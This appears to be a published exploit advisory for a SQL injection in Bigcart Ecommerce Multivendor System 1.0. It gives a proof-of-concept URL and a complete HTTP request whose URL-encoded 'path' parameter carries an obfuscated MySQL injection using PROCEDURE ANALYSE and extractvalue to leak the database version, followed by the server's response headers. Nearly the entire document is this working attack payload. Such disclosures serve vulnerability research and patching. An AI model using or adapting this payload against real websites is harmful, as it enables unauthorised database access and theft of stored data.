Bigcart Ecommerce Multivendor System 1.0 SQL Injection

`# Exploit Title: Bigcart - Ecommerce Multivendor System 1.0 - SQL Injection  
# Dork: N/A  
# Date: 2019-01-14  
# Exploit Author: Ihsan Sencan  
# Vendor Homepage: http://ocsolutions.co.in/  
# Software Link: https://codecanyon.net/item/marketplace-builder-a-complete-ecommerce-multivendor-solution-with-cms/21808220  
# Version: 1.0  
# Category: Webapps  
# Tested on: WiN7_x64/KaLiLinuX_x64  
# CVE: N/A  
  
# POC:   
# 1)  
# http://localhost/[PATH]/index.php?route=product/category&path=[SQL]  
#   
  
GET /[PATH]/index.php?route=product/category&path=%33%33%5f%36%34%31%34%39%39%39%39%39%27%20%2f%2a%21%31%33%33%33%37%50%72%6f%63%65%44%75%72%65%2a%2f%20%41%6e%41%6c%79%73%65%20%28%65%78%74%72%61%63%74%76%61%6c%75%65%28%30%2c%63%6f%6e%63%61%74%28%30%78%32%37%2c%30%78%33%61%2c%40%40%76%65%72%73%69%6f%6e%29%29%2c%30%29%2d%2d%20%2d HTTP/1.1  
Host: TARGET  
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:55.0) Gecko/20100101 Firefox/55.0  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8  
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3  
Accept-Encoding: gzip, deflate  
Cookie: OCSESSID=19eef2415d8afbee8c2f353629; language=en-gb; currency=USD  
DNT: 1  
Connection: keep-alive  
Upgrade-Insecure-Requests: 1  
HTTP/1.1 200 OK  
Date: Mon, 14 Jan 2019 18:17:53 GMT  
Server: Apache  
X-Powered-By: PHP/5.6.39  
Set-Cookie: OCSESSID=19eef2415d8afbee8c2f353629; path=/  
Set-Cookie: OCSESSID=19eef2415d8afbee8c2f353629; path=/  
Vary: Accept-Encoding  
Content-Type: text/html; charset=UTF-8  
Transfer-Encoding: chunked  
  
`